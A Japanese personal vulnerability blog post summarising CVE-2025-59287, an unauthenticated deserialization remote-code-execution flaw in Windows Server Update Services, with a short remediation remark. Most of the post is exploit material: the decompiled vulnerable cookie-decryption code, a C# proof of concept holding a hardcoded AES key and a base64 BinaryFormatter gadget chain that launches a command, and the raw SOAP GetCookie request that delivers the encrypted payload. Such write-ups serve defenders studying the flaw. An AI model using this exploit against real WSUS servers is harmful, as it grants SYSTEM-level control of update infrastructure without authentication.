TT 脆弱性 Blog

脆弱性情報に関する「個人」の調査・研究のログ

CVE-2025-59287 WSUS Remote Code Execution

【訳】

CVE-2025-59287 WSUS リモートコード実行


【要点】

◎WSUSの不安全な逆シリアル化で未認証RCE(SYSTEM)。GetCookie経由のPoCあり。BinaryFormatter廃止と型検証が必須。


【要約】

WSUSのCVE-2025-59287は、GetCookie()で受け取るAuthorizationCookieをAES-128-CBCで復号後、型検証不十分のままBinaryFormatterで逆シリアライズする設計不備により、未認証でSYSTEM権限のRCEが可能となる脆弱性。PoCは暗号化ペイロードを生成しSOAP経由で送信して実行させる。恒久対策はBinaryFormatter排除、厳格な型検証と入力サニタイズ実装。


【ブログ】

◆CVE-2025-59287 WSUS Remote Code Execution (Hawktrace, 2025/10/18)
[CVE-2025-59287 WSUS リモートコード実行]

A technical WSUS advisory for CVE-2025-59287: unsafe deserialization in Windows Server Update Services that allows remote code execution.
[CVE-2025-59287 に関する技術的な WSUS アドバイザリ: Windows Server Update Services における安全でない逆シリアル化により、リモートコード実行が可能となる。]

https://hawktrace.com/blog/CVE-2025-59287

	internal object DecryptData(byte[] cookieData)
		{
			if (cookieData == null)
			{
				throw new LoggedArgumentNullException("cookieData");
			}
			ICryptoTransform cryptoTransform = this.cryptoServiceProvider.CreateDecryptor();
			byte[] array;
			try
			{
				if (cookieData.Length % cryptoTransform.InputBlockSize != 0 || cookieData.Length <= cryptoTransform.InputBlockSize)
				{
					throw new LoggedArgumentException("Can't decrypt bogus cookieData; data is size, " + cookieData.Length.ToString() + ", which is not a multiple of " + cryptoTransform.InputBlockSize.ToString(), "cookieData");
				}
				array = new byte[cookieData.Length - cryptoTransform.InputBlockSize];
				cryptoTransform.TransformBlock(cookieData, 0, cryptoTransform.InputBlockSize, EncryptionHelper.scratchBuffer, 0);
				cryptoTransform.TransformBlock(cookieData, cryptoTransform.InputBlockSize, cookieData.Length - cryptoTransform.InputBlockSize, array, 0);
			}
			finally
			{
				cryptoTransform.Dispose();
			}
			object obj = null;
			if (this.classType == typeof(UnencryptedCookieData))
			{
				UnencryptedCookieData unencryptedCookieData = new UnencryptedCookieData();
				try
				{
					unencryptedCookieData.Deserialize(array);
				}
				catch (Exception ex)
				{
					if (ex is OutOfMemoryException)
					{
						throw;
					}
					throw new LoggedArgumentException(ex.ToString(), "cookieData");
				}
				obj = unencryptedCookieData;
			}
			else
			{
				BinaryFormatter binaryFormatter = new BinaryFormatter();
				MemoryStream memoryStream = new MemoryStream(array);
				try
				{
					obj = binaryFormatter.Deserialize(memoryStream);
				}
				catch (Exception ex2)
				{
					if (ex2 is OutOfMemoryException)
					{
						throw;
					}
					throw new LoggedArgumentException(ex2.ToString(), "cookieData");
				}
				if (obj.GetType() != this.classType)
				{
					throw new LoggedArgumentException("Decrypted cookie has the wrong data type. Expected type = " + this.classType.ToString() + ", actual type = " + obj.GetType().ToString(), "cookieData");
				}
			}
			return obj;
		}


【PoC】

static void Main()
        {
            //key
            string hexKey = "877C14E433638145AD21BD0C17393071";
            byte[] key = new byte[16];
            for (int i = 0; i < 16; i++)
                key[i] = Convert.ToByte(hexKey.Substring(i * 2, 2), 16);

            string ysooo = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=";

            byte[] ser = Convert.FromBase64String(ysooo);
            byte[] enc = EncryptPayload(ser, key);
            string base64Payload = Convert.ToBase64String(enc);
            Console.WriteLine(base64Payload);
   
        }

        static byte[] EncryptPayload(byte[] data, byte[] key)
        {
            using (var aes = new AesCryptoServiceProvider())
            {
                aes.Key = key;
                aes.Mode = CipherMode.CBC;
                aes.Padding = PaddingMode.None;
                aes.IV = new byte[16]; // null

                byte[] salt = new byte[16];
                new RNGCryptoServiceProvider().GetNonZeroBytes(salt);

                using (var encryptor = aes.CreateEncryptor())
                {
                    int num = data.Length % encryptor.InputBlockSize;
                    int num2 = data.Length - num;
                    byte[] result = new byte[encryptor.InputBlockSize + num2 + encryptor.OutputBlockSize];
                    encryptor.TransformBlock(salt, 0, salt.Length, result, 0);
                    encryptor.TransformBlock(data, 0, num2, result, salt.Length);
                    byte[] paddedBlock = new byte[encryptor.InputBlockSize];
                    for (int i = 0; i < num; i++)
                    {
                        paddedBlock[i] = data[num2 + i];
                    }
                    encryptor.TransformBlock(paddedBlock, 0, paddedBlock.Length, result, salt.Length + num2);

                    return result;
                }
            }
        }
POST /ClientWebService/Client.asmx HTTP/1.1
Host: WSUS-SERVER:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
      <authCookies>
        <AuthorizationCookie>
          <PlugInId>SimpleTargeting</PlugInId>
          <CookieData>[GENERATED PAYLOAD]</CookieData>
        </AuthorizationCookie>
      </authCookies>
      <oldCookie xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
      <protocolVersion>1.20</protocolVersion>
    </GetCookie>
  </soap:Body>
</soap:Envelope>

Copyright (C) 谷川哲司 (Tetsuji Tanigawa) 2006 - 2022